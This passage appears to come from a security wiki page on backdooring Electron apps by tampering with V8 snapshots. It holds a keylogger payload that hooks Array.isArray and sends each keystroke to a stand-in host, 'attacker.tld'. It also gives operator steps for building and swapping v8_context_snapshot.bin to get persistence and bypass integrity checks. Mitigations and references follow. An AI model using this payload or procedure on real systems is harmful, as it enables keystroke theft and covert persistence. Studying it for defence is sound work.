const orig = Array.isArray; 662 Array.isArray = function() { 663 // Wait for a browser context 664 try { 665 if (!alert) { 666 return orig(...arguments); 667 } 668 } catch (_) { 669 return orig(...arguments); 670 } 671 672 if (!globalThis._invoke_lock) { 673 globalThis._invoke_lock = true; 674 setInterval(() => { 675 window.onkeydown = (e) => { 676 fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'}) 677 } 678 }, 1000); 679 } 680 return orig(...arguments); 681 }; 682 ``` 683 684 Operator workflow 685 1) Write payload.js that clobbers a common builtin (e.g., Array.isArray) and optionally branches per isolate. 686 2) Build the snapshot without Chromium sources: 687 - npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" 688 3) Overwrite the target application’s snapshot file(s): 689 - v8_context_snapshot.bin (always used) 690 - browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used) 691 4) Launch the application; the gadget executes whenever the chosen builtin is used. 692 693 Notes and considerations 694 - Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls. 695 - Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app. 696 - Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.<sup>[[9]](#references)[[10]](#references)</sup> 697 698 Detection and mitigations 699 - Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix). 700 - Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin. 701 - Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values. 702 703 ## References 704 705 - [1] [JS-Tap v3: Endpoint Post-Exploitation With JavaScript Implants](https://trustedsec.com/blog/js-tap-v3-endpoint-post-exploitation-with-javascript-implants) 706 - [2] [Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/) 707 - [3] [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) 708 - [4] [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity) 709 - [5] [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots) 710 - [6] [electron/mksnapshot](https://github.com/electron/mksnapshot) 711 - [7] [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/) 712 - [8] [Loki C2](https://github.com/boku7/Loki/) 713 - [9] [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig) 714 - [10] [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically_local-attacks-in-chromes-threat-model) 715 - [11] [Phishing and credential harvesting in Electron applications](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028) 716 - [12] [Facebook Messenger Desktop App Arbitrary File Read](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d) 717 - [13] [Electron: Abusing the lack of context isolation - CureCon (en)](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8) 718 - [14] [Hacking Modern Desktop apps with XSS and RCE Workshop](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) 719 - [15] [awesome-electronjs-hacking - a curated list of resources about Electron.js (in)security](https://github.com/doyensec/awesome-electronjs-hacking) 720 - [16] [Electron APIs Misuse: An Attacker's First Choice](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) 721 - [17] [Electron nodeIntegration RCE payloads](https://7as.es/electron/nodeIntegration_rce.txt) 722 - [18] [1-click RCE in Electron Applications](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 723 - [19] [The dangers of Electron's shell.openExternal() - many paths to remote code execution](https://benjamin-altpeter.de/shell-openexternal-dangers/) 724 - [20] [Allow arbitrary URLs, expect arbitrary code execution](https://positive.security/blog/url-open-rce#windows-10-19042) 725 - [21] [Achieving RCE in famous Japanese chat tool with an obsolete Electron feature](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/) 726 - [22] [Discord Desktop - Remote Code Execution](https://blog.electrovolt.io/posts/discord-rce/) 727 - [23] [Visual Studio Code - Remote Code Execution in Restricted Mode (CVE-2021-43908)](https://blog.electrovolt.io/posts/vscode-rce/) 728 - [24] [One-Click GitHub Token Theft via VS Code Webview Keyboard Event Injection](https://blog.ammaraskar.com/github-token-stealing) 729 - [25] [VS Code issue #319593: Webviews can trigger arbitrary keyboard shortcuts in the main workbench](https://github.com/microsoft/vscode/issues/319593) 730 - [26] [VS Code PR #319705: confirm notebook opening and stop accepting caller-provided installExtension context](https://github.com/microsoft/vscode/pull/319705) 731 - [27] [VS Code PR #319813: block programmatic webview keypress/click re-dispatch in notebook webviews](https://github.com/microsoft/vscode/pull/319813) 732 - [28] [VS Code 1.89 / local workspace extensions](https://code.visualstudio.com/updates/v1_89#_local-workspace-extensions) 733 - [29] [APPSEC Cali 2018 - MarkDoom: How I Hacked Every Major IDE in 2 Weeks](https://www.youtube.com/watch?v=a-YnG3Mx-Tg) 734 - [30] [ElectroVolt: Pwning Popular Desktop Apps While Uncovering New Attack Surface on Electron](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81) 735 - [31] [Electron Security](https://www.electronjs.org/docs/latest/tutorial/security) 736 - [32] [Electron BrowserWindow webPreferences](https://www.electronjs.org/docs/latest/api/browser-window#new-browserwindowoptions)